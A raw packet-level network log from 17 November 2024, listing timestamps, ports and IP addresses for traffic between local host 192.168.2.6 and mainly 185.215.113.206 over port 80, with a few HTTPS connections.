Nov 17, 2024 01:38:52.390863895 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.390872955 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.390877008 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.390882969 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.390897989 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.390908003 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.390909910 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.390918970 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.390923977 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.390945911 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.390970945 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.390995979 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.391006947 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.391016960 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.391036987 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.391064882 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.391087055 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.391097069 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.391107082 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.391118050 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.391125917 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.391132116 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.391136885 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.391146898 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.391159058 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.391170979 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.391197920 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.418451071 CET	443	56801	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.418524981 CET	443	56801	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.418581963 CET	56801	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.418591976 CET	443	56801	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.418639898 CET	443	56801	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.418677092 CET	56801	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.423573971 CET	56801	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.423590899 CET	443	56801	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.426255941 CET	56813	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.426273108 CET	443	56813	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.426412106 CET	56813	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.426593065 CET	56813	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.426614046 CET	443	56813	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.503901958 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.503915071 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.503926039 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.503973007 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.504019022 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.504024982 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504034996 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504044056 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504055977 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504065990 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504067898 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.504076004 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504086971 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504092932 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.504096031 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504101992 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.504134893 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.504163027 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504173040 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504183054 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504187107 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504194975 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.504199028 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504215002 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504224062 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.504225016 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504241943 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504249096 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.504251957 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504261971 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504266024 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.504271984 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504282951 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504293919 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504303932 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.504312992 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504323959 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504333019 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504338026 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.504348040 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.504367113 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.504574060 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504589081 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504623890 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.504714966 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504724979 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504734993 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504745007 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504756927 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.504762888 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504779100 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504784107 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.504789114 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504795074 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.504798889 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504808903 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504822969 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.504841089 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.504842997 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504853964 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504863977 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504867077 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.504879951 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.504889011 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504898071 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504904032 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.504908085 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.504930973 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.504942894 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.505384922 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.505414963 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.505424976 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.505434036 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.505469084 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.505605936 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.505616903 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.505631924 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.505642891 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.505651951 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.505654097 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.505661964 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.505666018 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.505676031 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.505686998 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.505686045 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.505697012 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.505707979 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.505717993 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.505722046 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.505728960 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.505739927 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.505747080 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.505752087 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.505755901 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.505763054 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.505773067 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.505778074 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.505800009 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.505810022 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.505810976 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.505822897 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.505840063 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.505850077 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.505851030 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.505861044 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.505865097 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.505872011 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.505882025 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.505882025 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.505892992 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.505904913 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.505913973 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.505934000 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.505948067 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.505947113 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.505958080 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.505992889 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.506025076 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506036043 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506071091 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.506146908 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506156921 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506167889 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506185055 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506190062 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.506196022 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506205082 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506220102 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.506222010 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506231070 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506239891 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506242037 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.506249905 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506258965 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506263018 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.506275892 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.506277084 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506287098 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506297112 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506300926 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.506306887 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506318092 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506323099 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.506328106 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506337881 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.506361961 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.506416082 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506427050 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506437063 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506447077 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506450891 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.506458998 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506469011 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506477118 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.506479025 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506500006 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.506508112 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506519079 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.506521940 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506531954 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506544113 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.506550074 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506551981 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.506561041 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506570101 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.506571054 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506592035 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.506608963 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.506623983 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506663084 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.506670952 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506680965 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506715059 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.506762981 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506772995 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506783962 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506794930 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506804943 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.506819963 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.506829023 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506839037 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506843090 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.506850004 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506866932 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.506875038 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.506877899 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506886959 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.506897926 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.506908894 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.506928921 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.533974886 CET	443	56800	18.244.18.122	192.168.2.6
Nov 17, 2024 01:38:52.534080982 CET	443	56800	18.244.18.122	192.168.2.6
Nov 17, 2024 01:38:52.534163952 CET	56800	443	192.168.2.6	18.244.18.122
Nov 17, 2024 01:38:52.535393000 CET	56800	443	192.168.2.6	18.244.18.122
Nov 17, 2024 01:38:52.535413027 CET	443	56800	18.244.18.122	192.168.2.6
Nov 17, 2024 01:38:52.619306087 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.619365931 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.619375944 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.619386911 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.619406939 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.619425058 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.619435072 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.619437933 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.619453907 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.619458914 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.619465113 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.619474888 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.619476080 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.619486094 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.619488001 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.619497061 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.619513035 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.619517088 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.619554996 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.619561911 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.619582891 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.619589090 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.619601011 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.619604111 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.619615078 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.619626999 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.619652033 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.619657993 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.619669914 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.619679928 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.619690895 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.619699955 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.619709969 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.619719028 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.619724035 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.619740963 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.619750023 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.619759083 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.619765997 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.619784117 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.619810104 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.619824886 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.619836092 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.619847059 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.619858027 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.619862080 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.619873047 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.619884968 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.619894028 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.619894028 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.619929075 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.619961023 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.619971991 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.619982004 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.620002985 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.620018005 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.620023012 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.620028973 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.620039940 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.620049953 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.620054007 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.620073080 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.620079041 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.620086908 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.620102882 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.620110035 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.620140076 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.620167017 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.620177984 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.620196104 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.620207071 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.620209932 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.620219946 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.620222092 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.620230913 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.620237112 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.620248079 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.620265961 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.620276928 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.620282888 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.620286942 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.620299101 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.620318890 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.620332003 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.620670080 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.620692968 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.620703936 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.620714903 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.620718002 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.620759010 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.620759010 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.620767117 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.620778084 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.620790005 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.620801926 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.620815039 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.620821953 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.620850086 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.620876074 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.620887041 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.620906115 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.620913982 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.620918036 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.620924950 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.620930910 CET	80	49911	185.215.113.206	192.168.2.6
